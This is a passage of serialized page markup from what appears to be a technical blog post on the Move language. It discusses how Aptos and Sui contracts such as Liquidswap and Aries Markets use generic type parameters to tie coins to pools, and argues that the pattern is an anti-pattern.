has.\n",{"type":26,"tag":475,"props":5558,"children":5559},{"class":477,"line":548},[5560,5565,5569,5574],{"type":26,"tag":475,"props":5561,"children":5562},{"style":2375},[5563],{"type":32,"value":5564}," value",{"type":26,"tag":475,"props":5566,"children":5567},{"style":714},[5568],{"type":32,"value":179},{"type":26,"tag":475,"props":5570,"children":5571},{"style":505},[5572],{"type":32,"value":5573}," u64",{"type":26,"tag":475,"props":5575,"children":5576},{"style":499},[5577],{"type":32,"value":2425},{"type":26,"tag":475,"props":5579,"children":5580},{"class":477,"line":558},[5581],{"type":26,"tag":475,"props":5582,"children":5583},{"style":499},[5584],{"type":32,"value":5585}," }\n",{"type":26,"tag":35,"props":5587,"children":5588},{},[5589],{"type":26,"tag":2615,"props":5590,"children":5591},{},[5592],{"type":32,"value":5593},"aptos",{"type":26,"tag":465,"props":5595,"children":5597},{"className":2685,"code":5596,"language":2684,"meta":7,"style":7}," /// A coin of type `T` worth `value`. Transferable and storable\n struct Coin\u003Cphantom T> has key, store {\n id: UID,\n balance: Balance\u003CT>\n }\n",[5598],{"type":26,"tag":53,"props":5599,"children":5600},{"__ignoreMap":7},[5601,5609,5659,5676,5707],{"type":26,"tag":475,"props":5602,"children":5603},{"class":477,"line":478},[5604],{"type":26,"tag":475,"props":5605,"children":5606},{"style":552},[5607],{"type":32,"value":5608}," /// A coin of type `T` worth `value`. Transferable and storable\n",{"type":26,"tag":475,"props":5610,"children":5611},{"class":477,"line":516},[5612,5616,5620,5624,5628,5633,5637,5641,5646,5650,5655],{"type":26,"tag":475,"props":5613,"children":5614},{"style":482},[5615],{"type":32,"value":5509},{"type":26,"tag":475,"props":5617,"children":5618},{"style":505},[5619],{"type":32,"value":5514},{"type":26,"tag":475,"props":5621,"children":5622},{"style":499},[5623],{"type":32,"value":5519},{"type":26,"tag":475,"props":5625,"children":5626},{"style":2375},[5627],{"type":32,"value":5524},{"type":26,"tag":475,"props":5629,"children":5630},{"style":505},[5631],{"type":32,"value":5632}," T",{"type":26,"tag":475,"props":5634,"children":5635},{"style":499},[5636],{"type":32,"value":5534},{"type":26,"tag":475,"props":5638,"children":5639},{"style":2375},[5640],{"type":32,"value":5539},{"type":26,"tag":475,"props":5642,"children":5643},{"style":2375},[5644],{"type":32,"value":5645}," key",{"type":26,"tag":475,"props":5647,"children":5648},{"style":499},[5649],{"type":32,"value":637},{"type":26,"tag":475,"props":5651,"children":5652},{"style":2375},[5653],{"type":32,"value":5654},"store",{"type":26,"tag":475,"props":5656,"children":5657},{"style":499},[5658],{"type":32,"value":579},{"type":26,"tag":475,"props":5660,"children":5661},{"class":477,"line":539},[5662,5667,5671],{"type":26,"tag":475,"props":5663,"children":5664},{"style":2375},[5665],{"type":32,"value":5666}," id",{"type":26,"tag":475,"props":5668,"children":5669},{"style":714},[5670],{"type":32,"value":179},{"type":26,"tag":475,"props":5672,"children":5673},{"style":499},[5674],{"type":32,"value":5675}," UID,\n",{"type":26,"tag":475,"props":5677,"children":5678},{"class":477,"line":548},[5679,5684,5688,5693,5697,5702],{"type":26,"tag":475,"props":5680,"children":5681},{"style":2375},[5682],{"type":32,"value":5683}," balance",{"type":26,"tag":475,"props":5685,"children":5686},{"style":714},[5687],{"type":32,"value":179},{"type":26,"tag":475,"props":5689,"children":5690},{"style":505},[5691],{"type":32,"value":5692}," Balance",{"type":26,"tag":475,"props":5694,"children":5695},{"style":499},[5696],{"type":32,"value":5519},{"type":26,"tag":475,"props":5698,"children":5699},{"style":505},[5700],{"type":32,"value":5701},"T",{"type":26,"tag":475,"props":5703,"children":5704},{"style":499},[5705],{"type":32,"value":5706},">\n",{"type":26,"tag":475,"props":5708,"children":5709},{"class":477,"line":558},[5710],{"type":26,"tag":475,"props":5711,"children":5712},{"style":499},[5713],{"type":32,"value":5585},{"type":26,"tag":35,"props":5715,"children":5716},{},[5717],{"type":26,"tag":2615,"props":5718,"children":5719},{},[5720],{"type":32,"value":5721},"sui",{"type":26,"tag":35,"props":5723,"children":5724},{},[5725,5727,5734,5736,5742],{"type":32,"value":5726},"Pulling an example from ",{"type":26,"tag":116,"props":5728,"children":5731},{"href":5729,"rel":5730},"https://pontem.network/",[120],[5732],{"type":32,"value":5733},"Pontem Network's",{"type":32,"value":5735}," Liquidswap DEX implementation on Aptos, we can see that ",{"type":26,"tag":53,"props":5737,"children":5739},{"className":5738},[],[5740],{"type":32,"value":5741},"LiquidityPool",{"type":32,"value":5743}," natively embeds this type information into it's fields.",{"type":26,"tag":465,"props":5745,"children":5747},{"className":2685,"code":5746,"language":2684,"meta":7,"style":7}," /// Liquidity pool with reserves.\n struct LiquidityPool\u003Cphantom X, phantom Y, phantom LP> has key {\n coin_x_reserve: Coin\u003CX>,\n coin_y_reserve: Coin\u003CY>,\n // ...\n }\n",[5748],{"type":26,"tag":53,"props":5749,"children":5750},{"__ignoreMap":7},[5751,5759,5823,5853,5882,5890],{"type":26,"tag":475,"props":5752,"children":5753},{"class":477,"line":478},[5754],{"type":26,"tag":475,"props":5755,"children":5756},{"style":552},[5757],{"type":32,"value":5758}," /// Liquidity pool with reserves.\n",{"type":26,"tag":475,"props":5760,"children":5761},{"class":477,"line":516},[5762,5767,5772,5776,5780,5785,5789,5793,5798,5802,5806,5811,5815,5819],{"type":26,"tag":475,"props":5763,"children":5764},{"style":482},[5765],{"type":32,"value":5766}," struct",{"type":26,"tag":475,"props":5768,"children":5769},{"style":505},[5770],{"type":32,"value":5771}," LiquidityPool",{"type":26,"tag":475,"props":5773,"children":5774},{"style":499},[5775],{"type":32,"value":5519},{"type":26,"tag":475,"props":5777,"children":5778},{"style":2375},[5779],{"type":32,"value":5524},{"type":26,"tag":475,"props":5781,"children":5782},{"style":505},[5783],{"type":32,"value":5784}," X",{"type":26,"tag":475,"props":5786,"children":5787},{"style":499},[5788],{"type":32,"value":637},{"type":26,"tag":475,"props":5790,"children":5791},{"style":2375},[5792],{"type":32,"value":5524},{"type":26,"tag":475,"props":5794,"children":5795},{"style":505},[5796],{"type":32,"value":5797}," Y",{"type":26,"tag":475,"props":5799,"children":5800},{"style":499},[5801],{"type":32,"value":637},{"type":26,"tag":475,"props":5803,"children":5804},{"style":2375},[5805],{"type":32,"value":5524},{"type":26,"tag":475,"props":5807,"children":5808},{"style":499},[5809],{"type":32,"value":5810}," LP> ",{"type":26,"tag":475,"props":5812,"children":5813},{"style":2375},[5814],{"type":32,"value":5539},{"type":26,"tag":475,"props":5816,"children":5817},{"style":2375},[5818],{"type":32,"value":5645},{"type":26,"tag":475,"props":5820,"children":5821},{"style":499},[5822],{"type":32,"value":579},{"type":26,"tag":475,"props":5824,"children":5825},{"class":477,"line":539},[5826,5831,5835,5839,5843,5848],{"type":26,"tag":475,"props":5827,"children":5828},{"style":2375},[5829],{"type":32,"value":5830}," coin_x_reserve",{"type":26,"tag":475,"props":5832,"children":5833},{"style":714},[5834],{"type":32,"value":179},{"type":26,"tag":475,"props":5836,"children":5837},{"style":505},[5838],{"type":32,"value":5514},{"type":26,"tag":475,"props":5840,"children":5841},{"style":499},[5842],{"type":32,"value":5519},{"type":26,"tag":475,"props":5844,"children":5845},{"style":505},[5846],{"type":32,"value":5847},"X",{"type":26,"tag":475,"props":5849,"children":5850},{"style":499},[5851],{"type":32,"value":5852},">,\n",{"type":26,"tag":475,"props":5854,"children":5855},{"class":477,"line":548},[5856,5861,5865,5869,5873,5878],{"type":26,"tag":475,"props":5857,"children":5858},{"style":2375},[5859],{"type":32,"value":5860}," coin_y_reserve",{"type":26,"tag":475,"props":5862,"children":5863},{"style":714},[5864],{"type":32,"value":179},{"type":26,"tag":475,"props":5866,"children":5867},{"style":505},[5868],{"type":32,"value":5514},{"type":26,"tag":475,"props":5870,"children":5871},{"style":499},[5872],{"type":32,"value":5519},{"type":26,"tag":475,"props":5874,"children":5875},{"style":505},[5876],{"type":32,"value":5877},"Y",{"type":26,"tag":475,"props":5879,"children":5880},{"style":499},[5881],{"type":32,"value":5852},{"type":26,"tag":475,"props":5883,"children":5884},{"class":477,"line":558},[5885],{"type":26,"tag":475,"props":5886,"children":5887},{"style":552},[5888],{"type":32,"value":5889}," // ...\n",{"type":26,"tag":475,"props":5891,"children":5892},{"class":477,"line":582},[5893],{"type":26,"tag":475,"props":5894,"children":5895},{"style":499},[5896],{"type":32,"value":851},{"type":26,"tag":35,"props":5898,"children":5899},{},[5900],{"type":32,"value":5901},"This has the advantage of aligning type information at compile time. It would be difficult to accidentally pass in the wrong type of coin to a function.",{"type":26,"tag":465,"props":5903,"children":5905},{"className":2685,"code":5904,"language":2684,"meta":7,"style":7}," public fun mint\u003CX, Y, LP>(\n pool_addr: address,\n coin_x: Coin\u003CX>,\n coin_y: Coin\u003CY>\n ): Coin\u003CLP> acquires LiquidityPool, EventsStore {\n // ...\n\n let (x_reserve_size, y_reserve_size) = get_reserves_size\u003CX, Y, LP>(pool_addr);\n",[5906],{"type":26,"tag":53,"props":5907,"children":5908},{"__ignoreMap":7},[5909,5947,5968,5996,6024,6075,6083,6090],{"type":26,"tag":475,"props":5910,"children":5911},{"class":477,"line":478},[5912,5917,5921,5926,5930,5934,5938,5942],{"type":26,"tag":475,"props":5913,"children":5914},{"style":2375},[5915],{"type":32,"value":5916}," public",{"type":26,"tag":475,"props":5918,"children":5919},{"style":2375},[5920],{"type":32,"value":490},{"type":26,"tag":475,"props":5922,"children":5923},{"style":2375},[5924],{"type":32,"value":5925}," mint",{"type":26,"tag":475,"props":5927,"children":5928},{"style":499},[5929],{"type":32,"value":5519},{"type":26,"tag":475,"props":5931,"children":5932},{"style":505},[5933],{"type":32,"value":5847},{"type":26,"tag":475,"props":5935,"children":5936},{"style":499},[5937],{"type":32,"value":637},{"type":26,"tag":475,"props":5939,"children":5940},{"style":505},[5941],{"type":32,"value":5877},{"type":26,"tag":475,"props":5943,"children":5944},{"style":499},[5945],{"type":32,"value":5946},", LP>(\n",{"type":26,"tag":475,"props":5948,"children":5949},{"class":477,"line":516},[5950,5955,5959,5964],{"type":26,"tag":475,"props":5951,"children":5952},{"style":2375},[5953],{"type":32,"value":5954}," pool_addr",{"type":26,"tag":475,"props":5956,"children":5957},{"style":714},[5958],{"type":32,"value":179},{"type":26,"tag":475,"props":5960,"children":5961},{"style":2375},[5962],{"type":32,"value":5963}," address",{"type":26,"tag":475,"props":5965,"children":5966},{"style":499},[5967],{"type":32,"value":2425},{"type":26,"tag":475,"props":5969,"children":5970},{"class":477,"line":539},[5971,5976,5980,5984,5988,5992],{"type":26,"tag":475,"props":5972,"children":5973},{"style":2375},[5974],{"type":32,"value":5975}," coin_x",{"type":26,"tag":475,"props":5977,"children":5978},{"style":714},[5979],{"type":32,"value":179},{"type":26,"tag":475,"props":5981,"children":5982},{"style":505},[5983],{"type":32,"value":5514},{"type":26,"tag":475,"props":5985,"children":5986},{"style":499},[5987],{"type":32,"value":5519},{"type":26,"tag":475,"props":5989,"children":5990},{"style":505},[5991],{"type":32,"value":5847},{"type":26,"tag":475,"props":5993,"children":5994},{"style":499},[5995],{"type":32,"value":5852},{"type":26,"tag":475,"props":5997,"children":5998},{"class":477,"line":548},[5999,6004,6008,6012,6016,6020],{"type":26,"tag":475,"props":6000,"children":6001},{"style":2375},[6002],{"type":32,"value":6003}," coin_y",{"type":26,"tag":475,"props":6005,"children":6006},{"style":714},[6007],{"type":32,"value":179},{"type":26,"tag":475,"props":6009,"children":6010},{"style":505},[6011],{"type":32,"value":5514},{"type":26,"tag":475,"props":6013,"children":6014},{"style":499},[6015],{"type":32,"value":5519},{"type":26,"tag":475,"props":6017,"children":6018},{"style":505},[6019],{"type":32,"value":5877},{"type":26,"tag":475,"props":6021,"children":6022},{"style":499},[6023],{"type":32,"value":5706},{"type":26,"tag":475,"props":6025,"children":6026},{"class":477,"line":558},[6027,6032,6036,6040,6044,6049,6053,6058,6062,6066,6071],{"type":26,"tag":475,"props":6028,"children":6029},{"style":499},[6030],{"type":32,"value":6031}," )",{"type":26,"tag":475,"props":6033,"children":6034},{"style":714},[6035],{"type":32,"value":179},{"type":26,"tag":475,"props":6037,"children":6038},{"style":505},[6039],{"type":32,"value":5514},{"type":26,"tag":475,"props":6041,"children":6042},{"style":499},[6043],{"type":32,"value":5519},{"type":26,"tag":475,"props":6045,"children":6046},{"style":505},[6047],{"type":32,"value":6048},"LP",{"type":26,"tag":475,"props":6050,"children":6051},{"style":499},[6052],{"type":32,"value":5534},{"type":26,"tag":475,"props":6054,"children":6055},{"style":2375},[6056],{"type":32,"value":6057},"acquires",{"type":26,"tag":475,"props":6059,"children":6060},{"style":505},[6061],{"type":32,"value":5771},{"type":26,"tag":475,"props":6063,"children":6064},{"style":499},[6065],{"type":32,"value":637},{"type":26,"tag":475,"props":6067,"children":6068},{"style":505},[6069],{"type":32,"value":6070},"EventsStore",{"type":26,"tag":475,"props":6072,"children":6073},{"style":499},[6074],{"type":32,"value":579},{"type":26,"tag":475,"props":6076,"children":6077},{"class":477,"line":582},[6078],{"type":26,"tag":475,"props":6079,"children":6080},{"style":552},[6081],{"type":32,"value":6082}," // ...\n",{"type":26,"tag":475,"props":6084,"children":6085},{"class":477,"line":596},[6086],{"type":26,"tag":475,"props":6087,"children":6088},{"emptyLinePlaceholder":18},[6089],{"type":32,"value":545},{"type":26,"tag":475,"props":6091,"children":6092},{"class":477,"line":610},[6093,6098,6102,6107,6111,6116,6120,6124,6129,6133,6137,6141,6145,6150,6155],{"type":26,"tag":475,"props":6094,"children":6095},{"style":482},[6096],{"type":32,"value":6097}," let",{"type":26,"tag":475,"props":6099,"children":6100},{"style":499},[6101],{"type":32,"value":2775},{"type":26,"tag":475,"props":6103,"children":6104},{"style":2375},[6105],{"type":32,"value":6106},"x_reserve_size",{"type":26,"tag":475,"props":6108,"children":6109},{"style":499},[6110],{"type":32,"value":637},{"type":26,"tag":475,"props":6112,"children":6113},{"style":2375},[6114],{"type":32,"value":6115},"y_reserve_size",{"type":26,"tag":475,"props":6117,"children":6118},{"style":499},[6119],{"type":32,"value":2794},{"type":26,"tag":475,"props":6121,"children":6122},{"style":714},[6123],{"type":32,"value":786},{"type":26,"tag":475,"props":6125,"children":6126},{"style":2375},[6127],{"type":32,"value":6128}," get_reserves_size",{"type":26,"tag":475,"props":6130,"children":6131},{"style":499},[6132],{"type":32,"value":5519},{"type":26,"tag":475,"props":6134,"children":6135},{"style":505},[6136],{"type":32,"value":5847},{"type":26,"tag":475,"props":6138,"children":6139},{"style":499},[6140],{"type":32,"value":637},{"type":26,"tag":475,"props":6142,"children":6143},{"style":505},[6144],{"type":32,"value":5877},{"type":26,"tag":475,"props":6146,"children":6147},{"style":499},[6148],{"type":32,"value":6149},", LP>(",{"type":26,"tag":475,"props":6151,"children":6152},{"style":2375},[6153],{"type":32,"value":6154},"pool_addr",{"type":26,"tag":475,"props":6156,"children":6157},{"style":499},[6158],{"type":32,"value":3533},{"type":26,"tag":35,"props":6160,"children":6161},{},[6162,6164,6170,6172,6179],{"type":32,"value":6163},"As an aside, this generic type information is implemented at runtime in the ",{"type":26,"tag":53,"props":6165,"children":6167},{"className":6166},[],[6168],{"type":32,"value":6169},"ty_args",{"type":32,"value":6171}," ",{"type":26,"tag":116,"props":6173,"children":6176},{"href":6174,"rel":6175},"https://github.com/move-language/move/blob/2412f877a5065132f31bfc339e6d1f2b9de10e87/language/move-vm/runtime/src/interpreter.rs#L88",[120],[6177],{"type":32,"value":6178},"at the vm level",{"type":32,"value":6180},". This VM level implementation choice makes it rather difficult to iterate over arbitrary generic types, such as with summing the coins in a pool. We will be releasing a deep dive into move's VM internals shortly.",{"type":26,"tag":35,"props":6182,"children":6183},{},[6184,6186,6192,6194,6200,6202,6208,6209,6215],{"type":32,"value":6185},"In pseucode, this checks that ",{"type":26,"tag":53,"props":6187,"children":6189},{"className":6188},[],[6190],{"type":32,"value":6191},"coin_x.type",{"type":32,"value":6193}," is equal to ",{"type":26,"tag":53,"props":6195,"children":6197},{"className":6196},[],[6198],{"type":32,"value":6199},"pool.x_type",{"type":32,"value":6201},", and ",{"type":26,"tag":53,"props":6203,"children":6205},{"className":6204},[],[6206],{"type":32,"value":6207},"coin_y.type",{"type":32,"value":6193},{"type":26,"tag":53,"props":6210,"children":6212},{"className":6211},[],[6213],{"type":32,"value":6214},"pool.y_type",{"type":32,"value":353},{"type":26,"tag":35,"props":6217,"children":6218},{},[6219],{"type":32,"value":6220},"This type system has two advantages",{"type":26,"tag":181,"props":6222,"children":6223},{},[6224,6236],{"type":26,"tag":86,"props":6225,"children":6226},{},[6227,6229,6234],{"type":32,"value":6228},"It's required. The type parameter ",{"type":26,"tag":2615,"props":6230,"children":6231},{},[6232],{"type":32,"value":6233},"must",{"type":32,"value":6235}," be specified so it's impossible to forget such a constraint",{"type":26,"tag":86,"props":6237,"children":6238},{},[6239],{"type":32,"value":6240},"It's concise. Constraints are done via type parameter alignment instead of verbose equivalence checks",{"type":26,"tag":35,"props":6242,"children":6243},{},[6244],{"type":32,"value":6245},"However, this system isn't perfect.",{"type":26,"tag":35,"props":6247,"children":6248},{},[6249,6251,6256],{"type":32,"value":6250},"In fact, I would go as far as to argue that using types to create such associations is ",{"type":26,"tag":105,"props":6252,"children":6253},{},[6254],{"type":32,"value":6255},"an anti-pattern",{"type":32,"value":353},{"type":26,"tag":35,"props":6258,"children":6259},{},[6260,6262,6268],{"type":32,"value":6261},"Using types to enforce relationships only works because types are uniquely associated with instances. For example, in Aptos's coin initialization function, they explicitly assert that there hasn't been a previously initialized ",{"type":26,"tag":53,"props":6263,"children":6265},{"className":6264},[],[6266],{"type":32,"value":6267},"CoinInfo\u003CCoinType>",{"type":32,"value":353},{"type":26,"tag":465,"props":6270,"children":6272},{"className":2685,"code":6271,"language":2684,"meta":7,"style":7}," fun initialize_internal\u003CCoinType>(\n // ...\n ): (BurnCapability\u003CCoinType>, FreezeCapability\u003CCoinType>, MintCapability\u003CCoinType>) {\n // ...\n\n assert!(\n !exists\u003CCoinInfo\u003CCoinType>>(account_addr),\n error::already_exists(ECOIN_INFO_ALREADY_PUBLISHED),\n );\n",[6273],{"type":26,"tag":53,"props":6274,"children":6275},{"__ignoreMap":7},[6276,6303,6311,6380,6387,6394,6406,6451,6473],{"type":26,"tag":475,"props":6277,"children":6278},{"class":477,"line":478},[6279,6284,6289,6293,6298],{"type":26,"tag":475,"props":6280,"children":6281},{"style":2375},[6282],{"type":32,"value":6283}," fun",{"type":26,"tag":475,"props":6285,"children":6286},{"style":2375},[6287],{"type":32,"value":6288}," initialize_internal",{"type":26,"tag":475,"props":6290,"children":6291},{"style":499},[6292],{"type":32,"value":5519},{"type":26,"tag":475,"props":6294,"children":6295},{"style":505},[6296],{"type":32,"value":6297},"CoinType",{"type":26,"tag":475,"props":6299,"children":6300},{"style":499},[6301],{"type":32,"value":6302},">(\n",{"type":26,"tag":475,"props":6304,"children":6305},{"class":477,"line":516},[6306],{"type":26,"tag":475,"props":6307,"children":6308},{"style":552},[6309],{"type":32,"value":6310}," // ...\n",{"type":26,"tag":475,"props":6312,"children":6313},{"class":477,"line":539},[6314,6319,6323,6327,6332,6336,6340,6345,6350,6354,6358,6362,6367,6371,6375],{"type":26,"tag":475,"props":6315,"children":6316},{"style":499},[6317],{"type":32,"value":6318}," )",{"type":26,"tag":475,"props":6320,"children":6321},{"style":714},[6322],{"type":32,"value":179},{"type":26,"tag":475,"props":6324,"children":6325},{"style":499},[6326],{"type":32,"value":2775},{"type":26,"tag":475,"props":6328,"children":6329},{"style":505},[6330],{"type":32,"value":6331},"BurnCapability",{"type":26,"tag":475,"props":6333,"children":6334},{"style":499},[6335],{"type":32,"value":5519},{"type":26,"tag":475,"props":6337,"children":6338},{"style":505},[6339],{"type":32,"value":6297},{"type":26,"tag":475,"props":6341,"children":6342},{"style":499},[6343],{"type":32,"value":6344},">, ",{"type":26,"tag":475,"props":6346,"children":6347},{"style":505},[6348],{"type":32,"value":6349},"FreezeCapability",{"type":26,"tag":475,"props":6351,"children":6352},{"style":499},[6353],{"type":32,"value":5519},{"type":26,"tag":475,"props":6355,"children":6356},{"style":505},[6357],{"type":32,"value":6297},{"type":26,"tag":475,"props":6359,"children":6360},{"style":499},[6361],{"type":32,"value":6344},{"type":26,"tag":475,"props":6363,"children":6364},{"style":505},[6365],{"type":32,"value":6366},"MintCapability",{"type":26,"tag":475,"props":6368,"children":6369},{"style":499},[6370],{"type":32,"value":5519},{"type":26,"tag":475,"props":6372,"children":6373},{"style":505},[6374],{"type":32,"value":6297},{"type":26,"tag":475,"props":6376,"children":6377},{"style":499},[6378],{"type":32,"value":6379},">) {\n",{"type":26,"tag":475,"props":6381,"children":6382},{"class":477,"line":548},[6383],{"type":26,"tag":475,"props":6384,"children":6385},{"style":552},[6386],{"type":32,"value":6310},{"type":26,"tag":475,"props":6388,"children":6389},{"class":477,"line":558},[6390],{"type":26,"tag":475,"props":6391,"children":6392},{"emptyLinePlaceholder":18},[6393],{"type":32,"value":545},{"type":26,"tag":475,"props":6395,"children":6396},{"class":477,"line":582},[6397,6402],{"type":26,"tag":475,"props":6398,"children":6399},{"style":493},[6400],{"type":32,"value":6401}," assert!",{"type":26,"tag":475,"props":6403,"children":6404},{"style":499},[6405],{"type":32,"value":3169},{"type":26,"tag":475,"props":6407,"children":6408},{"class":477,"line":596},[6409,6414,6419,6423,6428,6432,6436,6441,6446],{"type":26,"tag":475,"props":6410,"children":6411},{"style":714},[6412],{"type":32,"value":6413}," !",{"type":26,"tag":475,"props":6415,"children":6416},{"style":2375},[6417],{"type":32,"value":6418},"exists",{"type":26,"tag":475,"props":6420,"children":6421},{"style":499},[6422],{"type":32,"value":5519},{"type":26,"tag":475,"props":6424,"children":6425},{"style":505},[6426],{"type":32,"value":6427},"CoinInfo",{"type":26,"tag":475,"props":6429,"children":6430},{"style":499},[6431],{"type":32,"value":5519},{"type":26,"tag":475,"props":6433,"children":6434},{"style":505},[6435],{"type":32,"value":6297},{"type":26,"tag":475,"props":6437,"children":6438},{"style":499},[6439],{"type":32,"value":6440},">>(",{"type":26,"tag":475,"props":6442,"children":6443},{"style":2375},[6444],{"type":32,"value":6445},"account_addr",{"type":26,"tag":475,"props":6447,"children":6448},{"style":499},[6449],{"type":32,"value":6450},"),\n",{"type":26,"tag":475,"props":6452,"children":6453},{"class":477,"line":610},[6454,6459,6463,6468],{"type":26,"tag":475,"props":6455,"children":6456},{"style":499},[6457],{"type":32,"value":6458}," error",{"type":26,"tag":475,"props":6460,"children":6461},{"style":714},[6462],{"type":32,"value":3187},{"type":26,"tag":475,"props":6464,"children":6465},{"style":493},[6466],{"type":32,"value":6467},"already_exists",{"type":26,"tag":475,"props":6469,"children":6470},{"style":499},[6471],{"type":32,"value":6472},"(ECOIN_INFO_ALREADY_PUBLISHED),\n",{"type":26,"tag":475,"props":6474,"children":6475},{"class":477,"line":650},[6476],{"type":26,"tag":475,"props":6477,"children":6478},{"style":499},[6479],{"type":32,"value":1916},{"type":26,"tag":35,"props":6481,"children":6482},{},[6483,6485,6490],{"type":32,"value":6484},"While this ",{"type":26,"tag":53,"props":6486,"children":6488},{"className":6487},[],[6489],{"type":32,"value":6427},{"type":32,"value":6491}," isn't returned directly, it still ensures uniqueness of the capability objects.",{"type":26,"tag":35,"props":6493,"children":6494},{},[6495,6497,6504],{"type":32,"value":6496},"Similarly, consider ",{"type":26,"tag":116,"props":6498,"children":6501},{"href":6499,"rel":6500},"https://ariesmarkets.xyz/",[120],[6502],{"type":32,"value":6503},"Aries Markets",{"type":32,"value":6505},", a lending/borrowing protocol building on Aptos.",{"type":26,"tag":35,"props":6507,"children":6508},{},[6509,6511,6517],{"type":32,"value":6510},"Their ",{"type":26,"tag":53,"props":6512,"children":6514},{"className":6513},[],[6515],{"type":32,"value":6516},"ReserveCoinContainer",{"type":32,"value":6518}," struct stores all the relevant data and resources for managing a lending market.",{"type":26,"tag":465,"props":6520,"children":6522},{"className":2685,"code":6521,"language":2684,"meta":7,"style":7}," /// The struct to hold all the underlying `Coin`s.\n /// Stored as a resources.\n struct ReserveCoinContainer\u003Cphantom Coin0> has key {\n /// Stores the available `Coin`.\n underlying_coin: Coin\u003CCoin0>,\n /// Stores the LP `Coin` that act as collateral.\n collateralised_lp_coin: Coin\u003CLP\u003CCoin0>>,\n /// Mint capability for LP Coin.\n mint_capability: MintCapability\u003CLP\u003CCoin0>>,\n /// Burn capability for LP Coin.\n burn_capability: BurnCapability\u003CLP\u003CCoin0>>,\n\n // ...\n }\n\n",[6523],{"type":26,"tag":53,"props":6524,"children":6525},{"__ignoreMap":7},[6526,6534,6542,6583,6591,6620,6628,6665,6673,6710,6718,6755,6762,6769],{"type":26,"tag":475,"props":6527,"children":6528},{"class":477,"line":478},[6529],{"type":26,"tag":475,"props":6530,"children":6531},{"style":552},[6532],{"type":32,"value":6533}," /// The struct to hold all the underlying `Coin`s.\n",{"type":26,"tag":475,"props":6535,"children":6536},{"class":477,"line":516},[6537],{"type":26,"tag":475,"props":6538,"children":6539},{"style":552},[6540],{"type":32,"value":6541}," /// Stored as a resources.\n",{"type":26,"tag":475,"props":6543,"children":6544},{"class":477,"line":539},[6545,6549,6554,6558,6562,6567,6571,6575,6579],{"type":26,"tag":475,"props":6546,"children":6547},{"style":482},[6548],{"type":32,"value":5509},{"type":26,"tag":475,"props":6550,"children":6551},{"style":505},[6552],{"type":32,"value":6553}," ReserveCoinContainer",{"type":26,"tag":475,"props":6555,"children":6556},{"style":499},[6557],{"type":32,"value":5519},{"type":26,"tag":475,"props":6559,"children":6560},{"style":2375},[6561],{"type":32,"value":5524},{"type":26,"tag":475,"props":6563,"children":6564},{"style":505},[6565],{"type":32,"value":6566}," Coin0",{"type":26,"tag":475,"props":6568,"children":6569},{"style":499},[6570],{"type":32,"value":5534},{"type":26,"tag":475,"props":6572,"children":6573},{"style":2375},[6574],{"type":32,"value":5539},{"type":26,"tag":475,"props":6576,"children":6577},{"style":2375},[6578],{"type":32,"value":5645},{"type":26,"tag":475,"props":6580,"children":6581},{"style":499},[6582],{"type":32,"value":579},{"type":26,"tag":475,"props":6584,"children":6585},{"class":477,"line":548},[6586],{"type":26,"tag":475,"props":6587,"children":6588},{"style":552},[6589],{"type":32,"value":6590}," /// Stores the available `Coin`.\n",{"type":26,"tag":475,"props":6592,"children":6593},{"class":477,"line":558},[6594,6599,6603,6607,6611,6616],{"type":26,"tag":475,"props":6595,"children":6596},{"style":2375},[6597],{"type":32,"value":6598}," underlying_coin",{"type":26,"tag":475,"props":6600,"children":6601},{"style":714},[6602],{"type":32,"value":179},{"type":26,"tag":475,"props":6604,"children":6605},{"style":505},[6606],{"type":32,"value":5514},{"type":26,"tag":475,"props":6608,"children":6609},{"style":499},[6610],{"type":32,"value":5519},{"type":26,"tag":475,"props":6612,"children":6613},{"style":505},[6614],{"type":32,"value":6615},"Coin0",{"type":26,"tag":475,"props":6617,"children":6618},{"style":499},[6619],{"type":32,"value":5852},{"type":26,"tag":475,"props":6621,"children":6622},{"class":477,"line":582},[6623],{"type":26,"tag":475,"props":6624,"children":6625},{"style":552},[6626],{"type":32,"value":6627}," /// Stores the LP `Coin` that act as collateral.\n",{"type":26,"tag":475,"props":6629,"children":6630},{"class":477,"line":596},[6631,6636,6640,6644,6648,6652,6656,6660],{"type":26,"tag":475,"props":6632,"children":6633},{"style":2375},[6634],{"type":32,"value":6635}," collateralised_lp_coin",{"type":26,"tag":475,"props":6637,"children":6638},{"style":714},[6639],{"type":32,"value":179},{"type":26,"tag":475,"props":6641,"children":6642},{"style":505},[6643],{"type":32,"value":5514},{"type":26,"tag":475,"props":6645,"children":6646},{"style":499},[6647],{"type":32,"value":5519},{"type":26,"tag":475,"props":6649,"children":6650},{"style":505},[6651],{"type":32,"value":6048},{"type":26,"tag":475,"props":6653,"children":6654},{"style":499},[6655],{"type":32,"value":5519},{"type":26,"tag":475,"props":6657,"children":6658},{"style":505},[6659],{"type":32,"value":6615},{"type":26,"tag":475,"props":6661,"children":6662},{"style":499},[6663],{"type":32,"value":6664},">>,\n",{"type":26,"tag":475,"props":6666,"children":6667},{"class":477,"line":610},[6668],{"type":26,"tag":475,"props":6669,"children":6670},{"style":552},[6671],{"type":32,"value":6672}," /// Mint capability for LP Coin.\n",{"type":26,"tag":475,"props":6674,"children":6675},{"class":477,"line":650},[6676,6681,6685,6690,6694,6698,6702,6706],{"type":26,"tag":475,"props":6677,"children":6678},{"style":2375},[6679],{"type":32,"value":6680}," mint_capability",{"type":26,"tag":475,"props":6682,"children":6683},{"style":714},[6684],{"type":32,"value":179},{"type":26,"tag":475,"props":6686,"children":6687},{"style":505},[6688],{"type":32,"value":6689}," MintCapability",{"type":26,"tag":475,"props":6691,"children":6692},{"style":499},[6693],{"type":32,"value":5519},{"type":26,"tag":475,"props":6695,"children":6696},{"style":505},[6697],{"type":32,"value":6048},{"type":26,"tag":475,"props":6699,"children":6700},{"style":499},[6701],{"type":32,"value":5519},{"type":26,"tag":475,"props":6703,"children":6704},{"style":505},[6705],{"type":32,"value":6615},{"type":26,"tag":475,"props":6707,"children":6708},{"style":499},[6709],{"type":32,"value":6664},{"type":26,"tag":475,"props":6711,"children":6712},{"class":477,"line":679},[6713],{"type":26,"tag":475,"props":6714,"children":6715},{"style":552},[6716],{"type":32,"value":6717}," /// Burn capability for LP Coin.\n",{"type":26,"tag":475,"props":6719,"children":6720},{"class":477,"line":735},[6721,6726,6730,6735,6739,6743,6747,6751],{"type":26,"tag":475,"props":6722,"children":6723},{"style":2375},[6724],{"type":32,"value":6725}," burn_capability",{"type":26,"tag":475,"props":6727,"children":6728},{"style":714},[6729],{"type":32,"value":179},{"type":26,"tag":475,"props":6731,"children":6732},{"style":505},[6733],{"type":32,"value":6734}," 